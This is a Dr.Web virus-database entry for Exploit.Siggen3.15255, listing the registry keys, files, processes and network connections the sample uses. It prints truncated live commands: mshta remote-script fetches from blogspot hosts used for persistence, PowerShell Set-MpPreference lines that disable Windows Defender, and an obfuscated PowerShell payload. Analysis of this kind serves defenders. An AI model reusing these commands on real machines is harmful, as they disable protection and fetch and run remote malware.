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Exploit.Siggen3.15255

Added to the Dr.Web virus database: 2021-03-15

Virus description added:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'phulihoja' = 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKCU:\Software).cutona)|IEX"", 0 : window.clo...
  • [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'dkkkksakdosexography' = 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""mshta http://1230948%1230948@bublicamukajuka.blogs...
  • [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] '' = 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""mshta http://1230948%1230948@titupatiyannala-myrynaal.blogspot.com/p/1...
  • [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'nunukhaoo' = 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""mshta http://1230948%1230948@papagunnakjllidmc.blogspot.com/p...
  • [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'phulihoja' = 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKCU:\Software).btfee)|IEX"", 0 : window.clos...
Creates or modifies the following files
  • <SYSTEM32>\tasks\tutipajikhana
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
  • Windows Defender
blocks the following features:
  • User Account Control (UAC)
Executes the following
  • '<SYSTEM32>\taskkill.exe' /f /im Excel.exe
  • '<SYSTEM32>\taskkill.exe' /f /im winword.exe
Executes the following (exploit)
  • '<SYSTEM32>\mshta.exe' HTTp://j.#p/asdimawxiaskkowwdkidiwnawij
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIOAVProtection $true
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBlockAtFirstSeen $true
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBehaviorMonitoring $true
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRealtimeMonitoring $true
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c $ijijinjnini='**$**46**$**56**$**c6**$**26**$**16**$**37**$**96**$**44**$**02**$**56**$**07**$**97**$**45**$**07**$**57**$**47**$**27**$**16**$**47**$**35**$**d2**$**02**$**46**$**e6**$**56*...
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SevereThreatDefaultAction 6
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -LowThreatDefaultAction 6
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -ModerateThreatDefaultAction 6
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -HighThreatDefaultAction 6 -Force
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -MAPSReporting 0
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SubmitSamplesConsent 2
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableScriptScanning $true
Injects code into
the following system processes:
  • %WINDIR%\microsoft.net\framework\v4.0.30319\jsc.exe
Modifies file system
Creates the following files
  • C:\users\public\siggiaw.vbs
  • C:\users\public\1.txt
  • C:\users\public\bin.vbs
Deletes the following files
  • C:\users\public\siggiaw.vbs
Network activity
Connects to
  • 'j.#p':80
  • 'tu#########achodamarunmain.blogspot.com':443
  • 'bl##ger.com':443
  • 're#####es.blogblog.com':443
  • 'fo###.#oogleapis.com':443
  • 'go#####analytics.com':443
  • 'ia#####8.us.archive.org':443
  • 'fo###.gstatic.com':443
  • 'ia#####0.us.archive.org':443
TCP
  • 'tu#########achodamarunmain.blogspot.com':443
  • 'bl##ger.com':443
  • 're#####es.blogblog.com':443
  • 'fo###.#oogleapis.com':443
  • 'go#####analytics.com':443
  • 'ia#####8.us.archive.org':443
  • 'fo###.gstatic.com':443
  • 'ia#####0.us.archive.org':443
UDP
  • DNS ASK j.#p
  • DNS ASK tu#########achodamarunmain.blogspot.com
  • DNS ASK bl##ger.com
  • DNS ASK re#####es.blogblog.com
  • DNS ASK fo###.#oogleapis.com
  • DNS ASK go#####analytics.com
  • DNS ASK ia#####8.us.archive.org
  • DNS ASK fo###.gstatic.com
  • DNS ASK ia#####0.us.archive.org
Miscellaneous
Searches for the following windows
  • ClassName: 'MS_AutodialMonitor' WindowName: ''
  • ClassName: 'MS_WebCheckMonitor' WindowName: ''
  • ClassName: '' WindowName: ''
Creates and executes the following
  • '<SYSTEM32>\wscript.exe' "C:\Users\Public\SiggiaW.vbs"
  • '<SYSTEM32>\wscript.exe' "C:\Users\Public\bin.vbs"
  • '<SYSTEM32>\wscript.exe' "C:\Users\Public\bin.vbs" /elevate
  • '<SYSTEM32>\cmd.exe' /c cd C:\Users\Public &@echo dim http_obj >>SiggiaW.vbs &@echo dim stream_obj >>SiggiaW.vbs &@echo dim shell_obj >>SiggiaW.vbs &@echo set http_obj = CreateObject("Microsoft.XMLHTTP") >>SiggiaW....' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -MAPSReporting 0' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -HighThreatDefaultAction 6 -Force' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -ModerateThreatDefaultAction 6' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -LowThreatDefaultAction 6' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SevereThreatDefaultAction 6' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c $ijijinjnini='**$**46**$**56**$**c6**$**26**$**16**$**37**$**96**$**44**$**02**$**56**$**07**$**97**$**45**$**07**$**57**$**47**$**27**$**16**$**47**$**35**$**d2**$**02**$**46**$**e6**$**56*...' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRealtimeMonitoring $true' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBlockAtFirstSeen $true' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SubmitSamplesConsent 2' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIOAVProtection $true' (with hidden window)
  • '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit ((gp HKCU:\Software).btfee)|IEX' (with hidden window)
  • '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit ((gp HKCU:\Software).cutona)|IEX' (with hidden window)
  • '<SYSTEM32>\taskkill.exe' /f /im winword.exe' (with hidden window)
  • '<SYSTEM32>\taskkill.exe' /f /im Excel.exe' (with hidden window)
  • '<SYSTEM32>\schtasks.exe' /create /sc MINUTE /mo 80 /tn ""tutipajikhana"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://12#############@mylundisfarbigthenyouthink.bl...' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBehaviorMonitoring $true' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableScriptScanning $true' (with hidden window)
Executes the following
  • '<SYSTEM32>\cmd.exe' /c cd C:\Users\Public &@echo dim http_obj >>SiggiaW.vbs &@echo dim stream_obj >>SiggiaW.vbs &@echo dim shell_obj >>SiggiaW.vbs &@echo set http_obj = CreateObject("Microsoft.XMLHTTP") >>SiggiaW....
  • '<SYSTEM32>\schtasks.exe' /create /sc MINUTE /mo 80 /tn ""tutipajikhana"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://12#############@mylundisfarbigthenyouthink.bl...
  • '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit ((gp HKCU:\Software).cutona)|IEX
  • '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit ((gp HKCU:\Software).btfee)|IEX
  • '%WINDIR%\microsoft.net\framework\v4.0.30319\jsc.exe'

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
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    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
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